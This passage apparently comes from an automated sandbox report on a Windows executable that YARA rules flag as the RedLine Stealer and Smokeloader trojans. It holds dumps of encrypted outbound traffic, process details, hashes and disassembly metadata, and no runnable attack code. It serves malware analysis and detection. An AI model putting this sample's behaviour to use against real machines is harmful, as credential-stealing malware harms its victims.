2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: d8 5e d7 a6 88 c0 53 99 91 0f 44 f5 47 ea dc a2 78 4a 18 58 6d 8b 32 63 a5 26 e2 a4 ca ff 36 b9 d6 fa 8b d5 b3 50 2a 07 5a 10 9b 5e 77 f7 83 66 7e 1f 09 54 47 82 2a e3 26 b7 8f b8 4c 9a 1a 8b 81 e4 a6 32 c2 2f 2d 52 96 5d 2d e1 e0 d3 9a 78 df a4 25 1b 95 9a a4 9d f4 30 a2 d9 33 cb f8 23 68 02 8a 95 5e b2 fa 55 61 a3 5e d2 43 85 6e 34 a5 d4 14 32 83 6a aa a8 44 3c 6f 4a 81 a9 b7 c0 1e b5 92 a4 5a 83 1d 04 26 f5 b3 39 c1 9b af a0 02 2b fd ed 5e 78 57 45 ce 2a 8f 9a f5 67 6e 0e 5d 83 0f 23 c9 3e 93 c8 db 93 de d1 a1 88 d0 39 ff c5 81 81 f0 d9 f9 b3 71 d9 0b ef b5 91 f0 6e 46 ae 67 25 05 45 68 7f 5a f7 7d ab 4d 16 f9 9f ba 6e 11 2c c3 be 6d b6 fc 29 8a 6a f8 e3 62 67 a7 4a 53 d8 5e e6 78 e6 a5 0d e2 44 33 6a f2 32 b0 49 20 e3 e7 f1 6b 32 3f 4b 09 67 2e 39 cf Data Ascii: ^SDGxJXm2c&6PZ^wf~TG&L2/-R]-x%03#h^Ua^Cn42jD<oJZ&9+^xWE*gn]#>9qnFg%EhZ}Mn,m)jbgJS^xD3j2I k2?Kg.9
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: 13 ee 68 73 a8 42 ef 1a a6 1c 68 d7 b4 1f 8e 94 58 77 9a f2 62 68 c1 0a d5 9b 8c 51 14 cf 4d f4 08 59 12 2c 3b a9 a3 1a 74 bd 80 d0 05 11 b7 e8 ba a5 a7 2a a9 df dd 86 58 36 53 f9 8b 29 7f eb 33 a4 da 74 df c8 83 c1 4b 23 85 e4 f3 cb 82 c5 86 8c e1 6f 65 07 09 b5 ed 77 be 0f 23 1d f2 57 40 7d d8 55 8f 5f 43 0a 9f 86 33 ab 81 76 b8 7a f6 2e 34 ad d5 ba 64 9e b3 e9 f4 51 92 06 70 6c 57 49 89 c7 a4 c7 a3 72 47 f1 8d df ea 6a de 3b 72 9c 1e 75 1e 6b 2a 7d 20 54 18 32 e2 9b 29 71 25 96 6a 4b 87 df ba 34 5e ae 40 f6 39 6a 3a aa 93 ea de f1 8d 42 bb 2a ec 91 fc 65 de ab a3 65 93 f1 83 e4 66 1b 35 ca a9 76 7a 83 49 3f 24 e2 43 d1 62 1b 0f 6d 2c 08 30 46 df 33 78 d6 7c 03 9d b7 4a 43 2b ce 2d a5 8a bf 6b c2 2d d6 50 6b 83 9e a4 d7 b4 d7 5f 5c b8 a9 bb 5d 8b f9 d6 Data Ascii: hsBhXwbhQMY,;tX6S)3tK#oew#W@}U_C3vz.4dQplWIrGj;ruk} T2)q%jK4^@9j:B*eef5vzI?$Cbm,0F3x\|JC+-k-Pk_\]
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: b6 ef 0c 93 8c c7 db 71 a2 53 f1 aa 51 3b fa c4 07 b5 d7 db 65 88 f6 5c 93 a3 14 f6 71 5b 4f 6a 5f 4b e0 24 cd e7 cb 31 bc ef ca ae 2e 15 10 74 44 39 ad e3 49 83 59 39 ca 47 19 0d 61 15 c8 83 b0 c2 15 00 2d 61 0f b1 44 c1 0f de b6 1f c2 2d c4 60 37 ec ba 34 07 59 63 21 82 1e 89 0c 82 ae bb ab 34 f2 41 16 c0 5e 85 72 e8 f7 db 52 96 e3 94 87 67 15 1f cc a2 94 5d 86 d9 79 d0 ca 5e 21 e6 2e 4f 60 8a bd 36 82 65 ce f5 df dd bd d7 b3 33 57 bc f2 ea 6e 4c ba 5b 1d 73 3c 47 74 ca 39 21 5e 2c d8 01 2f 23 db f7 2d 09 3e be 19 bb a3 59 72 d1 49 8f 20 81 b9 10 eb d8 b7 ca 08 f4 d7 e9 9a b7 a9 b0 72 c8 ee 04 cd 8a a3 df 7f 08 27 e8 40 ba a6 2e ff 02 ed 0d d4 c6 9d 9e f1 6f 4d b6 82 28 70 4e c2 f2 9e 04 a8 22 d5 35 be 3f df 29 b4 73 f5 94 ae df d1 9f 41 a9 8b 49 a1 d7 Data Ascii: qSQ;e\q[Oj_K$1.tD9IY9Ga-aD-`74Yc!4A^rRg]y^!.O`6e3WnL[s<Gt9!^,/#->YrI r'@.oM(pN"5?)sAI
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: 5d 47 f9 f7 4e 30 9b 27 2a cb 9e 26 a0 d0 af 37 9e 22 3e 83 03 3c 23 40 93 c1 2c 83 d9 43 73 8f 1d 22 c3 6c 20 da f3 f2 04 96 e8 4f b8 09 16 23 1e ed 3d 0a 58 ee 36 a1 23 82 20 50 6f fd be 8c a7 7c b1 0e 01 12 80 77 c1 16 08 eb c5 10 73 47 8a a5 85 5b e9 39 0f c2 9f ae fb 85 0d 0a fa 1e 5e b6 9d af ec d9 e5 26 f1 37 eb 89 d7 d9 b1 56 74 ab 19 fe fe 7b cb 3e e0 1d c5 3f 91 a3 56 e8 24 02 dc 94 ec 06 c1 06 39 2a 40 4e 9c 7d 56 91 f1 45 fc 0b e4 1d a5 51 50 26 05 4d 77 2e c9 c6 32 7a 4a 70 b2 b9 67 10 c3 63 a2 d4 be fd dd 3b c1 e4 88 12 8e 71 5a 42 e2 4f 69 f2 3b 51 ea 09 22 71 f9 a7 54 b7 08 10 96 8e be f5 15 92 bb 5e e0 46 40 1b fc 9d 51 47 51 3b b1 a8 91 08 38 18 be 14 38 7d 24 83 ef 49 98 3d 46 f2 64 64 e1 22 37 8f d2 5a 99 0a 4d 13 97 fc be 97 f4 9d 7d Data Ascii: ]GN0'&7"><#@,Cs"l O#=X6# Po\|wsG[9^&7Vt{>?V$9@N}VEQP&Mw.2zJpgc;qZBOi;Q"qT^F@QGQ;88}$I=Fdd"7ZM}
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: 84 e8 9e b3 89 52 ae 73 6f 9d f6 b5 87 17 ef b4 a6 af de 6c 3b 84 b9 ec 88 74 71 97 13 31 2f 56 5e 97 e0 e3 18 b5 b7 f0 b6 a9 66 9d cf cf 36 be 58 59 ba 56 5c 75 df 45 27 b2 ea ea be aa d5 6e c7 ef bb 49 2c 9a d3 38 2c 78 1f aa 79 12 f0 5a e7 f9 5b 1f 56 0f 95 e9 28 55 6a f7 a5 85 f2 e3 ee 16 59 8a ea 7f 48 9f 07 fd fb dd 2d 99 61 3f 5f 59 47 ae 3a 3d ef 1c ce 91 88 5c 7d 71 db 4b 10 26 b4 ee cc 9c 3c fd c5 c1 b4 ff 7b e9 68 aa bd e4 27 b3 ef 07 33 b2 87 e3 98 b3 57 22 4d 19 31 b2 1b 5f 85 5a 8e 2f 44 37 14 ad 35 bc 5d 6f 58 bf 37 71 c2 e9 9d 70 c8 53 1b 98 6f b9 3b 06 15 a5 aa 21 59 cd c4 6d 5c 8d 2b c4 4b 3c 03 29 a1 8e d0 c2 9e 82 6b 1b a7 fc 46 9f 54 e5 f8 06 fb 39 28 c4 5a 1d a9 de b2 0b 0f d2 78 8d 18 fb d2 f8 35 87 7e 15 97 f0 d8 50 d1 e9 ed 8f b0 Data Ascii: Rsol;tq1/V^f6XYV\uE'nI,8,xyZ[V(UjYH-a?_YG:=\}qK&<{h'3W"M1_Z/D75]oX7qpSo;!Ym\+K<)kFT9(Zx5~P
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: e1 e8 1a 53 75 d0 d1 b3 51 5d f0 d9 67 79 c2 11 8e 18 fa 7c b6 48 e3 1d 38 56 d6 64 6d b4 ba 43 55 9e 8c ed e0 87 9c 38 d0 d4 58 ba 8b 33 b0 6a b3 9c 2e 0c 24 86 60 bf 1d 94 f6 e2 fc c2 a6 27 e0 92 b7 61 6b 03 4c cd a3 b8 22 ba 4d 01 4d 96 95 20 88 2d 4f eb 0b e6 3b 37 95 1b 8b af 45 cc cf f1 98 33 22 92 b7 70 c0 4c cc 2c b3 bb 86 2a fe a8 ee dc 9c 87 67 03 d6 14 37 ae 08 e5 69 a0 c7 63 52 f8 66 2b 8e 28 ca 5f 70 89 d8 38 a7 4c 14 f8 31 70 1a db 56 6f ed 05 3b 72 f7 46 92 b5 4d be fc b8 a2 a0 b1 f8 dc 13 4a be 45 98 04 18 b4 d2 fa e0 18 a8 c6 d7 1e 86 b1 1a 76 50 20 07 33 07 fa cb 62 8d 53 b8 e7 98 19 57 d9 77 4d 09 29 98 a0 18 3a 13 10 de 93 bd f0 e9 a6 6a 1d a1 f0 f2 08 2e c4 67 f5 2b ef d6 6d 3b ed 33 ea c3 3c f0 dd 51 3f 26 80 b8 7a df f3 40 ed 70 69 Data Ascii: SuQ]gy\|H8VdmCU8X3j.$`'akL"MM -O;7E3"pL,*g7icRf+(_p8L1pVo;rFMJEvP 3bSWwM):j.g+m;3<Q?&z@pi
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: b9 90 6b 0c b5 4a 94 ba 4b b0 a8 8e 87 71 cb 27 9b f0 31 7c f9 38 aa fb fa f4 5d d3 e1 c4 20 24 4f a3 39 eb e6 35 99 96 a8 c2 84 20 c4 49 c6 98 27 b3 e8 6c 42 5b 00 69 e3 57 5e 5a 97 e6 2e 42 e3 6f cb d2 4f 43 51 8b 6a af 39 62 9c 7d 4b 71 72 e9 f3 34 44 7c d6 88 65 9e 97 47 de a8 79 0d 0a 87 5b f0 ec 55 6a cc eb e0 76 4b 12 09 84 10 0e 04 3b 2f 49 cc 44 65 be 65 f6 40 45 2f 1a d4 11 a7 fa 33 4e 0b 2c ec 13 57 17 8f f9 89 c4 0d ca ca 0f 45 ad f6 1f f0 7c 87 35 55 20 2a b9 46 c6 47 be e3 1b ae 00 e9 4b b6 69 92 42 2d 45 2f db b7 78 00 3b 98 6f d0 29 36 19 de da 24 4a 25 cf ac 9d 01 6d 87 b0 b5 5c 92 f1 ab b1 11 8f c5 b5 e8 c5 54 90 7e 12 4f 33 46 2f d9 08 9a 1e e6 3b be 17 bd d4 9a a4 a9 ac d4 87 06 3c fa 20 65 5b 40 93 9c 0e ac 57 ba c4 35 7d 77 dd 51 3a Data Ascii: kJKq'1\|8] $O95 I'lB[iW^Z.BoOCQj9b}Kqr4D\|eGy[UjvK;/IDee@E/3N,WE\|5U *FGKiB-E/x;o)6$J%m\T~O3F/;< e[@W5}wQ:
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: 00 e8 7e aa 0c 27 24 59 08 f2 32 fc bc dd 25 26 fc 44 8d 37 e3 1a 06 96 fe 1b 5c 7d 12 83 c6 d6 dd ef 62 38 ea 05 0b 01 97 7d b1 5a a8 b7 84 d2 ae 78 49 a2 11 62 cb e6 cc eb dc cb 39 ad 90 26 92 fa 4a 31 5a c3 87 b0 ac c1 df 6c 40 5a d0 5c 1d a1 48 60 68 80 d8 de 59 52 35 64 28 86 ef de fe ef be f5 e5 a6 95 d9 6d 3c 35 30 6a 42 7f 68 b0 82 63 6f a7 d3 4f 02 e2 fe d8 85 2b c3 f8 8d 25 be b5 0a 06 fc 94 14 4b f0 06 08 d4 bf 7b ce 80 ce 5d f8 fd e1 3f e5 64 1f d7 ad 6a 92 11 64 23 64 f9 28 f2 77 3f 49 3a d6 89 58 00 88 bb 85 47 dc 45 97 f0 3c 25 c3 65 2e 6e c3 df 4a d3 49 21 e6 04 24 db 70 31 34 f4 89 f0 7f 64 14 6b 6f cc 65 09 ab d4 61 3b 13 f5 d8 08 23 ac 03 3f 61 fb 99 ff 46 9c 62 bc 2d ed 30 09 98 55 b0 1b 44 70 c3 8a 20 4d 0f ea e5 f7 80 9f 93 4a 1b 48 Data Ascii: ~'$Y2%&D7\}b8}ZxIb9&J1Zl@Z\H`hYR5d(m<50jBhcoO+%K{]?djd#d(w?I:XGE<%e.nJI!$p14dkoea;#?aFb-0UDp MJH
2024-04-21 08:03:04 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fcv4svcbr3gutumogj6hegc929; expires=Thu, 15-Aug-2024 01:49:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ci9Kcmhf3oHJh9Cn51QMIg7Gc3I0%2BrsBVl1kuR2LqNq7CVf0CDgnzuyufcqxBsBsrpI4pbWpA9IfIxbTaMwlM5cLJfVE0f3FcB4zdJMTanAVyZ9wx3S567JGHn6zMzrrf%2F4P92wTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdaf6bb9dad92-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	10:02:54
Start date:	21/04/2024
Path:	C:\Users\user\Desktop\qrLdMv1QXG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\qrLdMv1QXG.exe"
Imagebase:	0x400000
File size:	390'656 bytes
MD5 hash:	7E4A8865EA7CF91C86BA9BA1711DA71C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2347953549.0000000001CDE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:03:08
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1520
Imagebase:	0xd20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:03:09
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1656
Imagebase:	0xd20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	7.9%
Signature Coverage:	26.1%
Total number of Nodes:	356
Total number of Limit Nodes:	17

Executed Functions

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004156F8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041572E
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 00415A58
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 00415A9D

Strings

VSB, xrefs: 004158BE

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction ID: 561acfdcea67f0ed6ea61f084dffec9e4f3ed68c02ddb911ce32c0222a0ae114
Opcode Fuzzy Hash: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction Fuzzy Hash: 01F17DB5A00B01AFD724DF29C8427A3BBF5FF49324F14461DE8AA8B790E335A4518BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IHDR, xrefs: 00404B16
IDAT, xrefs: 00404B87
IEND, xrefs: 00404BFF
), xrefs: 0040475E

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: c7a2483c34a433846ee8963354b42b345241b07b330971c92676177ab2752b66
Instruction ID: 8102909a56e56f31e14bd42bc049a778ecbfeaf59adb2e6de5403f8909f3a5ca
Opcode Fuzzy Hash: c7a2483c34a433846ee8963354b42b345241b07b330971c92676177ab2752b66
Instruction Fuzzy Hash: C012FDB1A083449FD714CF28D85076B7BE1EF85304F05857EEA85AB382D778D909CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC60 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

m!s, xrefs: 0041CCC6
7q9w, xrefs: 0041CC7E
tu, xrefs: 0041CC86

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction ID: a0c0b6b935059c8c526aef0dde426ea912ec2d3602511b1274e97aa73ba39016
Opcode Fuzzy Hash: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction Fuzzy Hash: 1D91F1B16443018BDB14DF14CC927BBB7A1FF91718F19492EE8829B391E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB22 Relevance: 3.6, APIs: 2, Instructions: 615COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction ID: 262629fdbb3efc19342746e0a643e000866adf4d73472e6c2c89fe251207d53e
Opcode Fuzzy Hash: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction Fuzzy Hash: 862278B46083418FE314CF15C89076BB7E6FFCA309F14892DE8959B291D778D945CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 01CDF6F6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01CDF71E
Module32First.KERNEL32(00000000,00000224), ref: 01CDF73E

Memory Dump Source

Source File: 00000000.00000002.2347953549.0000000001CDE000.00000040.00000020.00020000.00000000.sdmp, Offset: 01CDE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cde000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 935c572a3bcd6a6239a46a99f02ad1006e659fc82ebf2e80161a7fb31f7f763c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9EF06232500711BBE7203AB9AC8CAAA76E8BF49625F12052DE793D50C0DAB0E9464661

Uniqueness

Uniqueness Score: -1.00%

Function 0041AFE0 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

|)t+, xrefs: 0041AFFF
!, xrefs: 0041B013

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction ID: 0549958bf72732722078fd682deb9016a6df138242a2d297af9ac57ce41d61db
Opcode Fuzzy Hash: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction Fuzzy Hash: D341BB716183109BC718CF14C8A076BB7B0FF8A328F049A1DE8E19B380E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004162D6 Relevance: 1.7, APIs: 1, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction ID: 58d5ef61e29c700e7a5bf84aeee46845931b96e69ec54e1ba371a830b22f87e7
Opcode Fuzzy Hash: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction Fuzzy Hash: F371E0B1604B008FD724CF24D891753BBE2BF49314F198A6ED8AA8B792D778E845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435B8B Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435C27

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction ID: 1272006d1290d83cf13eff99d31ed8c686e055d99e4b0088207ea3cb61a97368
Opcode Fuzzy Hash: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction Fuzzy Hash: 141139705083019FD708CF54C46472BFBE1EBC5318F248A5DE8A91B291C379D959CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435C40 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043AB86,005C003F,00000006,?,?,00000018,8A858487,?,:RA), ref: 00435C6D

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: 57f1bbd75be791b51c1c69d73521a326315edc5ecdbfadca72035e30f952b94d
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 64E09275508602AFEA05DF45C14050EF7E2BFC8718F55988DE88473604C6B4AD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 00420C42 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d5b5bbd28366e8683c8c477b5b2693b6c6a9734ea91cf0bb6cdc73bd071d13
Instruction ID: 0646c17248e0037d8b2e2a871ccc27ad5747d79b115fced78c7331720078151d
Opcode Fuzzy Hash: a0d5b5bbd28366e8683c8c477b5b2693b6c6a9734ea91cf0bb6cdc73bd071d13
Instruction Fuzzy Hash: D0D167B8610B018FD324CF25D890B27B7E1FB4A304F958A2DD5968BB61D779F846CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00421370 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 29c4e0a7dd6a94e6411e4dc72a7eab72c58292086366d6b269dac0f35d3dad1b
Instruction ID: b691efaaebe1fd9e0190dd32e1fb97d0ad8f24f092331a3f0970b38f0ebcf96e
Opcode Fuzzy Hash: 29c4e0a7dd6a94e6411e4dc72a7eab72c58292086366d6b269dac0f35d3dad1b
Instruction Fuzzy Hash: 06D1C1B1A083219BD704CF18D89072BB7E1EFE5754F98496EE4858B391E739DD04CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00421090 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction ID: 024c6bc1a7c06842b7b2da60ebc75b4e81c0e709c88b8f194da14b798eec8cba
Opcode Fuzzy Hash: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction Fuzzy Hash: 13C145B4214B01CFD324CF25D894B27B7E1FB8A304F958A2DD5968BAA1D778F446CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0043B3B0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 044954b69dfcc1224b8e003c548a13639cb80c27a06fccdb66e24d4811525113
Instruction ID: cfd6409ae6c1319e473ca82dbec1d2571da19b56d0cb4a7f1dcbce60b372dc38
Opcode Fuzzy Hash: 044954b69dfcc1224b8e003c548a13639cb80c27a06fccdb66e24d4811525113
Instruction Fuzzy Hash: B781DD72A043019BD714CF18C890B6BB3A1FF88318F19991DE9959B392D334EC15CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE80 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction ID: 7ec337f4810fed5a0fc0c42e7f6c195b542c32b12575270dc2a29337bbab3055
Opcode Fuzzy Hash: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
